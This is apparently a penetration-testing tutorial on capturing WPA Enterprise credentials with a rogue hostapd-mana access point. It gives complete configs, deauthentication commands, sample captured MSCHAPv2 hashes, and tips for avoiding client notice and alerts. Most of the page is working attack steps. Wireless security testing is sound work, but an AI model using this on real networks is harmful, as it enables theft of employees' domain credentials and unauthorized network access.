Skip to content
HackIndex logo

HackIndex

Harvesting EAP Credentials with hostapd-mana

3 min read Mar 17, 2026

hostapd-mana is a modified AP daemon that accepts any EAP authentication attempt and logs the credentials. When a WPA Enterprise client connects to it, hostapd-mana completes enough of the EAP exchange to receive the client's MSCHAPv2 challenge and response, then logs them in a format ready for offline cracking. The client needs to not validate the server certificate for this to work — confirmed during vulnerability discovery.

You need two wireless interfaces: one to run the rogue AP and one to deauthenticate clients from the legitimate AP. If you only have one interface, deauthentication is not possible but clients may still connect naturally if the rogue AP signal is stronger.

Install hostapd-mana

┌──(kali㉿kali)-[~]
└─$ apt update && apt install -y hostapd-mana

Create the hostapd-mana Configuration

Create a configuration file targeting the enterprise SSID. The certificate files are included with the hostapd-mana package:

┌──(kali㉿kali)-[~]
└─$ cat > /tmp/mana-enterprise.conf << 'EOF'
interface=wlan0
ssid=CorpWifi
hw_mode=g
channel=11
auth_algs=3
wpa=3
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
wpa_pairwise=CCMP TKIP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-mana/mana.eap_user
ca_cert=/etc/hostapd-mana/ca.pem
server_cert=/etc/hostapd-mana/server.pem
private_key=/etc/hostapd-mana/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-mana/dh
mana_wpe=1
mana_credout=/tmp/mana-creds.txt
mana_eapsuccess=1
EOF

Key configuration options:

  • ssid — must match the target enterprise network name exactly including case.
  • channel — set to the same channel as the legitimate AP or one with stronger signal to your position.
  • mana_wpe=1 — enables the WPE credential logging module.
  • mana_credout — path where captured credentials are written.
  • mana_eapsuccess=1 — sends an EAP success to the client after capturing credentials, which prevents the client from detecting the authentication failure immediately.

Start the Rogue AP

┌──(kali㉿kali)-[~]
└─$ hostapd-mana /tmp/mana-enterprise.conf 
Configuration file: /tmp/mana-enterprise.conf
Using interface wlan0 with hwaddr 00:c0:ca:xx:xx:xx and ssid "CorpWifi"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED

Deauthenticate Clients from the Legitimate AP

In a second terminal, use the second adapter to push clients toward your rogue AP:

┌──(kali㉿kali)-[~]
└─$ aireplay-ng -0 0 -a 11:22:33:44:55:66 wlan1mon

Continuous deauth (-0 0) keeps clients disconnected from the legitimate AP. Stop it once credentials start appearing — prolonged deauth is noisy and may trigger alerts.

Monitor Captured Credentials

Watch the credential output file as clients connect:

┌──(kali㉿kali)-[~]
└─$ tail -f /tmp/mana-creds.txt 
MANA WPE Captured Credentials
Username: CORP\jsmith
Challenge: 4a6f8d2e1b9c3f7a
Response:  8d3f2a1c9e4b7f6d2a8c1e3b5d9f4a2c:3e7f1a9d2c8b4e6f

The username often includes the domain prefix which reveals the Active Directory domain. The challenge and response together form a crackable MSCHAPv2 hash. Proceed to the MSCHAPv2 cracking page once credentials are captured.

Use FreeRADIUS for a More Realistic Enterprise Simulation

hostapd-mana handles most enterprise scenarios but some clients perform stricter certificate chain validation and will only connect to a RADIUS server with a certificate signed by a recognised CA. FreeRADIUS lets you build a complete RADIUS infrastructure with a self-signed CA, which is more convincing to some supplicants than hostapd-mana's bundled certificates.

Install FreeRADIUS:

┌──(kali㉿kali)-[~]
└─$ apt update && apt install -y freeradius

Test the FreeRADIUS configuration in debug mode to confirm it starts cleanly:

┌──(kali㉿kali)-[~]
└─$ freeradius -X 
FreeRADIUS Version 3.2.x
Ready to process requests

The main configuration files are in /etc/freeradius/3.0/. To configure PEAP/MSCHAPv2, edit eap.conf and set the default EAP type:

┌──(kali㉿kali)-[~]
└─$ grep -A 5 'default_eap_type' /etc/freeradius/3.0/mods-enabled/eap 
default_eap_type = peap

Point hostapd-mana at the FreeRADIUS server as an external RADIUS backend by adding these lines to the hostapd-mana config instead of the built-in EAP server:

┌──(kali㉿kali)-[~]
└─$ cat >> /tmp/mana-enterprise.conf << 'EOF'
eap_server=0
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
EOF

Start FreeRADIUS in debug mode first, then start hostapd-mana. Authentication attempts are logged in the FreeRADIUS debug output including the full MSCHAPv2 exchange. Captured hashes are extracted from the FreeRADIUS logs and fed into asleap or hashcat.

References